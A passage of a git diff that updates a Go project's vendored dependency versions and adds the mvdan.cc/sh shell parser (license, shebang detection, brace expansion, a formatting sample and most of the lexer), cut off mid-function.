LICENSE file. + +//go:build go1.22 +// +build go1.22 + +package versions + +import ( + "go/version" +) + +// Lang returns the Go language version for version x. +// If x is not a valid version, Lang returns the empty string. +// For example: +// +// Lang("go1.21rc2") = "go1.21" +// Lang("go1.21.2") = "go1.21" +// Lang("go1.21") = "go1.21" +// Lang("go1") = "go1" +// Lang("bad") = "" +// Lang("1.21") = "" +func Lang(x string) string { return version.Lang(x) } + +// Compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as Go versions. +// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21". +// Invalid versions, including the empty string, compare less than +// valid versions and equal to each other. +// The language version "go1.21" compares less than the +// release candidate and eventual releases "go1.21rc1" and "go1.21.0". +// Custom toolchain suffixes are ignored during comparison: +// "go1.21.0" and "go1.21.0-bigcorp" are equal. +func Compare(x, y string) int { return version.Compare(x, y) } + +// IsValid reports whether the version x is valid. +func IsValid(x string) bool { return version.IsValid(x) } diff --git a/vendor/modules.txt b/vendor/modules.txt index 588dfedf9e..56962aee9b 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -518,13 +518,16 @@ github.com/moloch--/asciicast # github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 ## explicit; go 1.17 github.com/moloch--/memmod -# github.com/ncruces/go-sqlite3 v0.7.2 -## explicit; go 1.19 +# github.com/ncruces/go-sqlite3 v0.8.4 +## explicit; go 1.21 github.com/ncruces/go-sqlite3 github.com/ncruces/go-sqlite3/driver github.com/ncruces/go-sqlite3/embed github.com/ncruces/go-sqlite3/internal/util github.com/ncruces/go-sqlite3/vfs +# github.com/ncruces/go-sqlite3/gormlite v0.8.4 +## explicit; go 1.21 +github.com/ncruces/go-sqlite3/gormlite # github.com/ncruces/julianday v0.1.5 ## explicit; go 1.17 github.com/ncruces/julianday @@ -541,8 +544,11 @@ github.com/pkg/errors # github.com/pmezard/go-difflib v1.0.0 ## explicit github.com/pmezard/go-difflib/difflib -# github.com/reeflective/console v0.1.6 -## explicit; go 1.20 +# github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e +## explicit; go 1.16 +github.com/psanford/memfs +# github.com/reeflective/console v0.1.11 +## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline # github.com/reeflective/readline v1.0.11 @@ -560,13 +566,28 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui +# github.com/reeflective/team v0.1.1 +## explicit; go 1.21 +github.com/reeflective/team +github.com/reeflective/team/client +github.com/reeflective/team/client/commands +github.com/reeflective/team/internal/assets +github.com/reeflective/team/internal/certs +github.com/reeflective/team/internal/command +github.com/reeflective/team/internal/db +github.com/reeflective/team/internal/db/wasmsqlite +github.com/reeflective/team/internal/log +github.com/reeflective/team/internal/systemd +github.com/reeflective/team/internal/version +github.com/reeflective/team/server +github.com/reeflective/team/server/commands # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -668,8 +689,8 @@ github.com/tailscale/wireguard-go/tun # github.com/tcnksm/go-httpstat v0.2.0 ## explicit github.com/tcnksm/go-httpstat -# github.com/tetratelabs/wazero v1.3.1 -## explicit; go 1.18 +# github.com/tetratelabs/wazero v1.4.0 +## explicit; go 1.19 github.com/tetratelabs/wazero github.com/tetratelabs/wazero/api github.com/tetratelabs/wazero/experimental @@ -736,7 +757,7 @@ go4.org/mem # go4.org/netipx v0.0.0-20230824141953-6213f710f925 ## explicit; go 1.18 go4.org/netipx -# golang.org/x/crypto v0.15.0 +# golang.org/x/crypto v0.16.0 ## explicit; go 1.18 golang.org/x/crypto/acme golang.org/x/crypto/acme/autocert @@ -768,7 +789,7 @@ golang.org/x/crypto/scrypt golang.org/x/crypto/ssh golang.org/x/crypto/ssh/agent golang.org/x/crypto/ssh/internal/bcrypt_pbkdf -# golang.org/x/exp v0.0.0-20230905200255-921286631fa9 +# golang.org/x/exp v0.0.0-20231127185646-65229373498e ## explicit; go 1.20 golang.org/x/exp/constraints golang.org/x/exp/maps @@ -776,11 +797,11 @@ golang.org/x/exp/slices golang.org/x/exp/slog golang.org/x/exp/slog/internal golang.org/x/exp/slog/internal/buffer -# golang.org/x/mod v0.13.0 +# golang.org/x/mod v0.14.0 ## explicit; go 1.18 golang.org/x/mod/semver -# golang.org/x/net v0.17.0 -## explicit; go 1.17 +# golang.org/x/net v0.19.0 +## explicit; go 1.18 golang.org/x/net/bpf golang.org/x/net/dns/dnsmessage golang.org/x/net/http/httpguts @@ -799,20 +820,19 @@ golang.org/x/net/ipv6 golang.org/x/net/proxy golang.org/x/net/route golang.org/x/net/trace -# golang.org/x/sync v0.4.0 -## explicit; go 1.17 +# golang.org/x/sync v0.5.0 +## explicit; go 1.18 golang.org/x/sync/errgroup -# golang.org/x/sys v0.14.0 +# golang.org/x/sys v0.15.0 ## explicit; go 1.18 golang.org/x/sys/cpu -golang.org/x/sys/execabs golang.org/x/sys/plan9 golang.org/x/sys/unix golang.org/x/sys/windows golang.org/x/sys/windows/registry golang.org/x/sys/windows/svc golang.org/x/sys/windows/svc/mgr -# golang.org/x/term v0.14.0 +# golang.org/x/term v0.15.0 ## explicit; go 1.18 golang.org/x/term # golang.org/x/text v0.14.0 @@ -838,7 +858,7 @@ golang.org/x/text/width # golang.org/x/time v0.3.0 ## explicit golang.org/x/time/rate -# golang.org/x/tools v0.14.0 +# golang.org/x/tools v0.16.0 ## explicit; go 1.18 golang.org/x/tools/go/gcexportdata golang.org/x/tools/go/internal/packagesdriver @@ -856,6 +876,7 @@ golang.org/x/tools/internal/pkgbits golang.org/x/tools/internal/tokeninternal golang.org/x/tools/internal/typeparams golang.org/x/tools/internal/typesinternal +golang.org/x/tools/internal/versions # golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 ## explicit; go 1.17 golang.zx2c4.com/wintun @@ -1144,6 +1165,10 @@ modernc.org/strutil # modernc.org/token v1.0.1 ## explicit modernc.org/token +# mvdan.cc/sh/v3 v3.7.0 +## explicit; go 1.19 +mvdan.cc/sh/v3/fileutil +mvdan.cc/sh/v3/syntax # nhooyr.io/websocket v1.8.7 ## explicit; go 1.13 nhooyr.io/websocket diff --git a/vendor/mvdan.cc/sh/v3/LICENSE b/vendor/mvdan.cc/sh/v3/LICENSE new file mode 100644 index 0000000000..2a5268e5f1 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2016, Daniel Martí. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of the copyright holder nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/mvdan.cc/sh/v3/fileutil/file.go b/vendor/mvdan.cc/sh/v3/fileutil/file.go new file mode 100644 index 0000000000..249ae94c4e --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/fileutil/file.go @@ -0,0 +1,85 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +// Package fileutil allows inspecting shell files, such as detecting whether a +// file may be shell or extracting its shebang. +package fileutil + +import ( + "io/fs" + "os" + "regexp" + "strings" +) + +var ( + shebangRe = regexp.MustCompile(`^#!\s?/(usr/)?bin/(env\s+)?(sh|bash|mksh|bats|zsh)(\s|$)`) + extRe = regexp.MustCompile(`\.(sh|bash|mksh|bats|zsh)$`) +) + +// TODO: consider removing HasShebang in favor of Shebang in v4 + +// HasShebang reports whether bs begins with a valid shell shebang. +// It supports variations with /usr and env. +func HasShebang(bs []byte) bool { + return Shebang(bs) != "" +} + +// Shebang parses a "#!" sequence from the beginning of the input bytes, +// and returns the shell that it points to. +// +// For instance, it returns "sh" for "#!/bin/sh", +// and "bash" for "#!/usr/bin/env bash". +func Shebang(bs []byte) string { + m := shebangRe.FindSubmatch(bs) + if m == nil { + return "" + } + return string(m[3]) +} + +// ScriptConfidence defines how likely a file is to be a shell script, +// from complete certainty that it is not one to complete certainty that +// it is one. +type ScriptConfidence int + +const ( + // ConfNotScript describes files which are definitely not shell scripts, + // such as non-regular files or files with a non-shell extension. + ConfNotScript ScriptConfidence = iota + + // ConfIfShebang describes files which might be shell scripts, depending + // on the shebang line in the file's contents. Since CouldBeScript only + // works on os.FileInfo, the answer in this case can't be final. + ConfIfShebang + + // ConfIsScript describes files which are definitely shell scripts, + // which are regular files with a valid shell extension. + ConfIsScript +) + +// CouldBeScript is a shortcut for CouldBeScript2(fs.FileInfoToDirEntry(info)). +// +// Deprecated: prefer CouldBeScript2, which usually requires fewer syscalls. +func CouldBeScript(info os.FileInfo) ScriptConfidence { + return CouldBeScript2(fs.FileInfoToDirEntry(info)) +} + +// CouldBeScript2 reports how likely a directory entry is to be a shell script. +// It discards directories, symlinks, hidden files and files with non-shell +// extensions. +func CouldBeScript2(entry fs.DirEntry) ScriptConfidence { + name := entry.Name() + switch { + case entry.IsDir(), name[0] == '.': + return ConfNotScript + case entry.Type()&os.ModeSymlink != 0: + return ConfNotScript + case extRe.MatchString(name): + return ConfIsScript + case strings.IndexByte(name, '.') > 0: + return ConfNotScript // different extension + default: + return ConfIfShebang + } +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/braces.go b/vendor/mvdan.cc/sh/v3/syntax/braces.go new file mode 100644 index 0000000000..f3452819ed --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/braces.go @@ -0,0 +1,177 @@ +// Copyright (c) 2018, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import "strconv" + +var ( + litLeftBrace = &Lit{Value: "{"} + litComma = &Lit{Value: ","} + litDots = &Lit{Value: ".."} + litRightBrace = &Lit{Value: "}"} +) + +// SplitBraces parses brace expansions within a word's literal parts. If any +// valid brace expansions are found, they are replaced with BraceExp nodes, and +// the function returns true. Otherwise, the word is left untouched and the +// function returns false. +// +// For example, a literal word "foo{bar,baz}" will result in a word containing +// the literal "foo", and a brace expansion with the elements "bar" and "baz". +// +// It does not return an error; malformed brace expansions are simply skipped. +// For example, the literal word "a{b" is left unchanged. +func SplitBraces(word *Word) bool { + toSplit := false + top := &Word{} + acc := top + var cur *BraceExp + open := []*BraceExp{} + + pop := func() *BraceExp { + old := cur + open = open[:len(open)-1] + if len(open) == 0 { + cur = nil + acc = top + } else { + cur = open[len(open)-1] + acc = cur.Elems[len(cur.Elems)-1] + } + return old + } + addLit := func(lit *Lit) { + acc.Parts = append(acc.Parts, lit) + } + + for _, wp := range word.Parts { + lit, ok := wp.(*Lit) + if !ok { + acc.Parts = append(acc.Parts, wp) + continue + } + last := 0 + for j := 0; j < len(lit.Value); j++ { + addlitidx := func() { + if last == j { + return // empty lit + } + l2 := *lit + l2.Value = l2.Value[last:j] + addLit(&l2) + } + switch lit.Value[j] { + case '{': + addlitidx() + acc = &Word{} + cur = &BraceExp{Elems: []*Word{acc}} + open = append(open, cur) + case ',': + if cur == nil { + continue + } + addlitidx() + acc = &Word{} + cur.Elems = append(cur.Elems, acc) + case '.': + if cur == nil { + continue + } + if j+1 >= len(lit.Value) || lit.Value[j+1] != '.' { + continue + } + addlitidx() + cur.Sequence = true + acc = &Word{} + cur.Elems = append(cur.Elems, acc) + j++ + case '}': + if cur == nil { + continue + } + toSplit = true + addlitidx() + br := pop() + if len(br.Elems) == 1 { + // return {x} to a non-brace + addLit(litLeftBrace) + acc.Parts = append(acc.Parts, br.Elems[0].Parts...) + addLit(litRightBrace) + break + } + if !br.Sequence { + acc.Parts = append(acc.Parts, br) + break + } + var chars [2]bool + broken := false + for i, elem := range br.Elems[:2] { + val := elem.Lit() + if _, err := strconv.Atoi(val); err == nil { + } else if len(val) == 1 && + 'a' <= val[0] && val[0] <= 'z' { + chars[i] = true + } else { + broken = true + } + } + if len(br.Elems) == 3 { + // increment must be a number + val := br.Elems[2].Lit() + if _, err := strconv.Atoi(val); err != nil { + broken = true + } + } + // are start and end both chars or + // non-chars? + if chars[0] != chars[1] { + broken = true + } + if !broken { + acc.Parts = append(acc.Parts, br) + break + } + // return broken {x..y[..incr]} to a non-brace + addLit(litLeftBrace) + for i, elem := range br.Elems { + if i > 0 { + addLit(litDots) + } + acc.Parts = append(acc.Parts, elem.Parts...) + } + addLit(litRightBrace) + default: + continue + } + last = j + 1 + } + if last == 0 { + addLit(lit) + } else { + left := *lit + left.Value = left.Value[last:] + addLit(&left) + } + } + if !toSplit { + return false + } + // open braces that were never closed fall back to non-braces + for acc != top { + br := pop() + addLit(litLeftBrace) + for i, elem := range br.Elems { + if i > 0 { + if br.Sequence { + addLit(litDots) + } else { + addLit(litComma) + } + } + acc.Parts = append(acc.Parts, elem.Parts...) + } + } + *word = *top + return true +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/canonical.sh b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh new file mode 100644 index 0000000000..012f48dd36 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh @@ -0,0 +1,37 @@ +#!/bin/bash + +# separate comment + +! foo bar >a & + +foo() { bar; } + +{ + var1="some long value" # var1 comment + var2=short # var2 comment +} + +if foo; then bar; fi + +for foo in a b c; do + bar +done + +case $foo in +a) A ;; +b) + B + ;; +esac + +foo | bar +foo && + $(bar) && + (more) + +foo 2>&1 +foo <<-EOF + bar +EOF + +$((3 + 4)) diff --git a/vendor/mvdan.cc/sh/v3/syntax/doc.go b/vendor/mvdan.cc/sh/v3/syntax/doc.go new file mode 100644 index 0000000000..5c6275e46c --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/doc.go @@ -0,0 +1,6 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +// Package syntax implements parsing and formatting of shell programs. +// It supports POSIX Shell, Bash, and mksh. +package syntax diff --git a/vendor/mvdan.cc/sh/v3/syntax/lexer.go b/vendor/mvdan.cc/sh/v3/syntax/lexer.go new file mode 100644 index 0000000000..b5dddab7e9 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/lexer.go @@ -0,0 +1,1209 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bytes" + "io" + "unicode/utf8" +) + +// bytes that form or start a token +func regOps(r rune) bool { + switch r { + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`': + return true + } + return false +} + +// tokenize these inside parameter expansions +func paramOps(r rune) bool { + switch r { + case '}', '#', '!', ':', '-', '+', '=', '?', '%', '[', ']', '/', '^', + ',', '@', '*': + return true + } + return false +} + +// these start a parameter expansion name +func paramNameOp(r rune) bool { + switch r { + case '}', ':', '+', '=', '%', '[', ']', '/', '^', ',': + return false + } + return true +} + +// tokenize these inside arithmetic expansions +func arithmOps(r rune) bool { + switch r { + case '+', '-', '!', '~', '*', '/', '%', '(', ')', '^', '<', '>', ':', '=', + ',', '?', '|', '&', '[', ']', '#': + return true + } + return false +} + +func bquoteEscaped(b byte) bool { + switch b { + case '$', '`', '\\': + return true + } + return false +} + +const escNewl rune = utf8.RuneSelf + 1 + +func (p *Parser) rune() rune { + if p.r == '\n' || p.r == escNewl { + // p.r instead of b so that newline + // character positions don't have col 0. + if p.line++; p.line > lineMax { + p.lineOverflow = true + } + p.col = 0 + p.colOverflow = false + } + if p.col += p.w; p.col > colMax { + p.colOverflow = true + } + bquotes := 0 +retry: + if p.bsp < len(p.bs) { + if b := p.bs[p.bsp]; b < utf8.RuneSelf { + p.bsp++ + if b == '\x00' { + // Ignore null bytes while parsing, like bash. + goto retry + } + if b == '\\' { + if p.r == '\\' { + } else if p.peekByte('\n') { + p.bsp++ + p.w, p.r = 1, escNewl + return escNewl + } else if p.peekBytes("\r\n") { + p.bsp += 2 + p.w, p.r = 2, escNewl + return escNewl + } + if p.openBquotes > 0 && bquotes < p.openBquotes && + p.bsp < len(p.bs) && bquoteEscaped(p.bs[p.bsp]) { + bquotes++ + goto retry + } + } + if b == '`' { + p.lastBquoteEsc = bquotes + } + if p.litBs != nil { + p.litBs = append(p.litBs, b) + } + p.w, p.r = 1, rune(b) + return p.r + } + if !utf8.FullRune(p.bs[p.bsp:]) { + // we need more bytes to read a full non-ascii rune + p.fill() + } + var w int + p.r, w = utf8.DecodeRune(p.bs[p.bsp:]) + if p.litBs != nil { + p.litBs = append(p.litBs, p.bs[p.bsp:p.bsp+w]...) + } + p.bsp += w + if p.r == utf8.RuneError && w == 1 { + p.posErr(p.nextPos(), "invalid UTF-8 encoding") + } + p.w = w + } else { + if p.r == utf8.RuneSelf { + } else if p.fill(); p.bs == nil { + p.bsp++ + p.r = utf8.RuneSelf + p.w = 1 + } else { + goto retry + } + } + return p.r +} + +// fill reads more bytes from the input src into readBuf. Any bytes that +// had not yet been used at the end of the buffer are slid into the +// beginning of the buffer. +func (p *Parser) fill() { + p.offs += p.bsp + left := len(p.bs) - p.bsp + copy(p.readBuf[:left], p.readBuf[p.bsp:]) +readAgain: + n, err := 0, p.readErr + if err == nil { + n, err = p.src.Read(p.readBuf[left:]) + p.readErr = err + } + if n == 0 { + if err == nil { + goto readAgain + } + // don't use p.errPass as we don't want to overwrite p.tok + if err != io.EOF { + p.err = err + } + if left > 0 { + p.bs = p.readBuf[:left] + } else { + p.bs = nil + } + } else { + p.bs = p.readBuf[:left+n] + } + p.bsp = 0 +} + +func (p *Parser) nextKeepSpaces() { + r := p.r + if p.quote != hdocBody && p.quote != hdocBodyTabs { + // Heredocs handle escaped newlines in a special way, but others + // do not. + for r == escNewl { + r = p.rune() + } + } + p.pos = p.nextPos() + switch p.quote { + case paramExpRepl: + switch r { + case '}', '/': + p.tok = p.paramToken(r) + case '`', '"', '$', '\'': + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + case dblQuotes: + switch r { + case '`', '"', '$': + p.tok = p.dqToken(r) + default: + p.advanceLitDquote(r) + } + case hdocBody, hdocBodyTabs: + switch r { + case '`', '$': + p.tok = p.dqToken(r) + default: + p.advanceLitHdoc(r) + } + default: // paramExpExp: + switch r { + case '}': + p.tok = p.paramToken(r) + case '`', '"', '$', '\'': + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + } + if p.err != nil && p.tok != _EOF { + p.tok = _EOF + } +} + +func (p *Parser) next() { + if p.r == utf8.RuneSelf { + p.tok = _EOF + return + } + p.spaced = false + if p.quote&allKeepSpaces != 0 { + p.nextKeepSpaces() + return + } + r := p.r + for r == escNewl { + r = p.rune() + } +skipSpace: + for { + switch r { + case utf8.RuneSelf: + p.tok = _EOF + return + case escNewl: + r = p.rune() + case ' ', '\t', '\r': + p.spaced = true + r = p.rune() + case '\n': + if p.tok == _Newl { + // merge consecutive newline tokens + r = p.rune() + continue + } + p.spaced = true + p.tok = _Newl + if p.quote != hdocWord && len(p.heredocs) > p.buriedHdocs { + p.doHeredocs() + } + return + default: + break skipSpace + } + } + if p.stopAt != nil && (p.spaced || p.tok == illegalTok || p.stopToken()) { + w := utf8.RuneLen(r) + if bytes.HasPrefix(p.bs[p.bsp-w:], p.stopAt) { + p.r = utf8.RuneSelf + p.w = 1 + p.tok = _EOF + return + } + } + p.pos = p.nextPos() + switch { + case p.quote&allRegTokens != 0: + switch r { + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`': + p.tok = p.regToken(r) + case '#': + // If we're parsing $foo#bar, ${foo}#bar, 'foo'#bar, or "foo"#bar, + // #bar is a continuation of the same word, not a comment. + // TODO: support $(foo)#bar and `foo`#bar as well, which is slightly tricky, + // as we can't easily tell them apart from (foo)#bar and `#bar`, + // where #bar should remain a comment. + if !p.spaced { + switch p.tok { + case _LitWord, rightBrace, sglQuote, dblQuote: + p.advanceLitNone(r) + return + } + } + r = p.rune() + p.newLit(r) + runeLoop: + for { + switch r { + case '\n', utf8.RuneSelf: + break runeLoop + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + break runeLoop + case '`': + if p.backquoteEnd() { + break runeLoop + } + } + r = p.rune() + } + if p.keepComments { + *p.curComs = append(*p.curComs, Comment{ + Hash: p.pos, + Text: p.endLit(), + }) + } else { + p.litBs = nil + } + p.next() + case '[', '=': + if p.quote == arrayElems { + p.tok = p.paramToken(r) + } else { + p.advanceLitNone(r) + } + case '?', '*', '+', '@', '!': + if p.extendedGlob() { + switch r { + case '?': + p.tok = globQuest + case '*': + p.tok = globStar + case '+': + p.tok = globPlus + case '@': + p.tok = globAt + default: // '!' + p.tok = globExcl + } + p.rune() + p.rune() + } else { + p.advanceLitNone(r) + } + default: + p.advanceLitNone(r) + } + case p.quote&allArithmExpr != 0 && arithmOps(r): + p.tok = p.arithmToken(r) + case p.quote&allParamExp != 0 && paramOps(r): + p.tok = p.paramToken(r) + case p.quote == testExprRegexp: + if !p.rxFirstPart && p.spaced { + p.quote = noState + goto skipSpace + } + p.rxFirstPart = false + switch r { + case ';', '"', '\'', '$', '&', '>', '<', '`': + p.tok = p.regToken(r) + case ')': + if p.rxOpenParens > 0 { + // continuation of open paren + p.advanceLitRe(r) + } else { + p.tok = rightParen + p.quote = noState + p.rune() // we are tokenizing manually + } + default: // including '(', '|' + p.advanceLitRe(r) + } + case regOps(r): + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + if p.err != nil && p.tok != _EOF { + p.tok = _EOF + } +} + +// extendedGlob determines whether we're parsing a Bash extended globbing expression. +// For example, whether `*` or `@` are followed by `(` to form `@(foo)`. +func (p *Parser) extendedGlob() bool { + if p.val == "function" { + return false + } + if p.peekByte('(') { + // NOTE: empty pattern list is a valid globbing syntax like `@()`, + // but we'll operate on the "likelihood" that it is a function; + // only tokenize if its a non-empty pattern list. + // We do this after peeking for just one byte, so that the input `echo *` + // followed by a newline does not hang an interactive shell parser until + // another byte is input. + return !p.peekBytes("()") + } + return false +} + +func (p *Parser) peekBytes(s string) bool { + peekEnd := p.bsp + len(s) + // TODO: This should loop for slow readers, e.g. those providing one byte at + // a time. Use a loop and test it with testing/iotest.OneByteReader. + if peekEnd > len(p.bs) { + p.fill() + } + return peekEnd <= len(p.bs) && bytes.HasPrefix(p.bs[p.bsp:peekEnd], []byte(s)) +} + +func (p *Parser) peekByte(b byte) bool { + if p.bsp == len(p.bs) { + p.fill() + } + return p.bsp < len(p.bs) && p.bs[p.bsp] == b +} + +func (p *Parser) regToken(r rune) token { + switch r { + case '\'': + if p.openBquotes > 0 { + // bury openBquotes + p.buriedBquotes = p.openBquotes + p.openBquotes = 0 + } + p.rune() + return sglQuote + case '"': + p.rune() + return dblQuote + case '`': + // Don't call p.rune, as we need to work out p.openBquotes to + // properly handle backslashes in the lexer. + return bckQuote + case '&': + switch p.rune() { + case '&': + p.rune() + return andAnd + case '>': + if p.rune() == '>' { + p.rune() + return appAll + } + return rdrAll + } + return and + case '|': + switch p.rune() { + case '|': + p.rune() + return orOr + case '&': + if p.lang == LangPOSIX { + break + } + p.rune() + return orAnd + } + return or + case '$': + switch p.rune() { + case '\'': + if p.lang == LangPOSIX { + break + } + p.rune() + return dollSglQuote + case '"': + if p.lang == LangPOSIX { + break + } + p.rune() + return dollDblQuote + case '{': + p.rune() + return dollBrace + case '[': + if !p.lang.isBash() || p.quote == paramExpName { + // latter to not tokenise ${$[@]} as $[ + break + } + p.rune() + return dollBrack + case '(': + if p.rune() == '(' { + p.rune() + return dollDblParen + } + return dollParen + } + return dollar + case '(': + if p.rune() == '(' && p.lang != LangPOSIX && p.quote != testExpr { + p.rune() + return dblLeftParen + } + return leftParen + case ')': + p.rune() + return rightParen + case ';': + switch p.rune() { + case ';': + if p.rune() == '&' && p.lang.isBash() { + p.rune() + return dblSemiAnd + } + return dblSemicolon + case '&': + if p.lang == LangPOSIX { + break + } + p.rune() + return semiAnd + case '|': + if p.lang != LangMirBSDKorn { + break + } + p.rune() + return semiOr + } + return semicolon + case '<': + switch p.rune() { + case '<': + if r = p.rune(); r == '-' { + p.rune() + return dashHdoc + } else if r == '<' { + p.rune() + return wordHdoc + } + return hdoc + case '>': + p.rune() + return rdrInOut + case '&': + p.rune() + return dplIn + case '(': + if !p.lang.isBash() { + break + } + p.rune() + return cmdIn + } + return rdrIn + default: // '>' + switch p.rune() { + case '>': + p.rune() + return appOut + case '&': + p.rune() + return dplOut + case '|': + p.rune() + return clbOut + case '(': + if !p.lang.isBash() { + break + } + p.rune() + return cmdOut + } + return rdrOut + } +} + +func (p *Parser) dqToken(r rune) token { + switch r { + case '"': + p.rune() + return dblQuote + case '`': + // Don't call p.rune, as we need to work out p.openBquotes to + // properly handle backslashes in the lexer. + return bckQuote + default: // '$' + switch p.rune() { + case '{': + p.rune() + return dollBrace + case '[': + if !p.lang.isBash() { + break + } + p.rune() + return dollBrack + case '(': + if p.rune() == '(' { + p.rune() + return dollDblParen + } + return dollParen + } + return dollar + } +} + +func (p *Parser) paramToken(r rune) token { + switch r { + case '}': + p.rune() + return rightBrace + case ':': + switch p.rune() { + case '+': + p.rune() + return colPlus + case '-': + p.rune() + return colMinus + case '?': + p.rune() + return colQuest + case '=': + p.rune() + return colAssgn + } + return colon + case '+': + p.rune() + return plus + case '-': + p.rune() + return minus + case '?': + p.rune() + return quest + case '=': + p.rune() + return assgn + case '%': + if p.rune() == '%' { + p.rune() + return dblPerc + } + return perc + case '#': + if p.rune() == '#' { + p.rune() + return dblHash + } + return hash + case '!': + p.rune() + return exclMark + case '[': + p.rune() + return leftBrack + case ']': + p.rune() + return rightBrack + case '/': + if p.rune() == '/' && p.quote != paramExpRepl { + p.rune() + return dblSlash + } + return slash + case '^': + if p.rune() == '^' { + p.rune() + return dblCaret + } + return caret + case ',': + if p.rune() == ',' { + p.rune() + return dblComma + } + return comma + case '@': + p.rune() + return at + default: // '*' + p.rune() + return star + } +} + +func (p *Parser) arithmToken(r rune) token { + switch r { + case '!': + if p.rune() == '=' { + p.rune() + return nequal + } + return exclMark + case '=': + if p.rune() == '=' { + p.rune() + return equal + } + return assgn + case '~': + p.rune() + return tilde + case '(': + p.rune() + return leftParen + case ')': + p.rune() + return rightParen + case '&': + switch p.rune() { + case '&': + p.rune() + return andAnd + case '=': + p.rune() + return andAssgn + } + return and + case '|': + switch p.rune() { + case '|': + p.rune() + return orOr + case '=': + p.rune() + return orAssgn + } + return or + case '<': + switch p.rune() { + case '<': + if p.rune() == '=' { + p.rune() + return shlAssgn + } + return hdoc + case '=': + p.rune() + return lequal + } + return rdrIn + case '>': + switch p.rune() { + case '>': + if p.rune() == '=' { + p.rune() + return shrAssgn + } + return appOut + case '=': + p.rune() + return gequal + } + return rdrOut + case '+': + switch p.rune() { + case '+': + p.rune() + return addAdd + case '=': + p.rune() + return addAssgn + } + return plus + case '-': + switch p.rune() { + case '-': + p.rune() + return subSub + case '=': + p.rune() + return subAssgn + } + return minus + case '%': + if p.rune() == '=' { + p.rune() + return remAssgn + } + return perc + case '*': + switch p.rune() { + case '*': + p.rune() + return power + case '=': + p.rune() + return mulAssgn + } + return star + case '/': + if p.rune() == '=' { + p.rune() + return quoAssgn + } + return slash + case '^': + if p.rune() == '=' { + p.rune() + return xorAssgn + } + return caret + case '[': + p.rune() + return leftBrack + case ']': + p.rune() + return rightBrack + case ',': + p.rune() + return comma + case '?': + p.rune() + return quest + case ':': + p.rune() + return colon + default: // '#' + p.rune() + return hash + } +} + +func (p *Parser) newLit(r rune) { + switch { + case r < utf8.RuneSelf: + p.litBs = p.litBuf[:1] + p.litBs[0] = byte(r) + case r > escNewl: + w := utf8.RuneLen(r) + p.litBs = append(p.litBuf[:0], p.bs[p.bsp-w:p.bsp]...) + default: + // don't let r == utf8.RuneSelf go to the second case as RuneLen + // would return -1 + p.litBs = p.litBuf[:0] + } +} + +func (p *Parser) endLit() (s string) { + if p.r == utf8.RuneSelf || p.r == escNewl { + s = string(p.litBs) + } else { + s = string(p.litBs[:len(p.litBs)-p.w]) + } + p.litBs = nil + return +} + +func (p *Parser) isLitRedir() bool { + lit := p.litBs[:len(p.litBs)-1] + if lit[0] == '{' && lit[len(lit)-1] == '}' { + return ValidName(string(lit[1 : len(lit)-1])) + } + for _, b := range lit { + 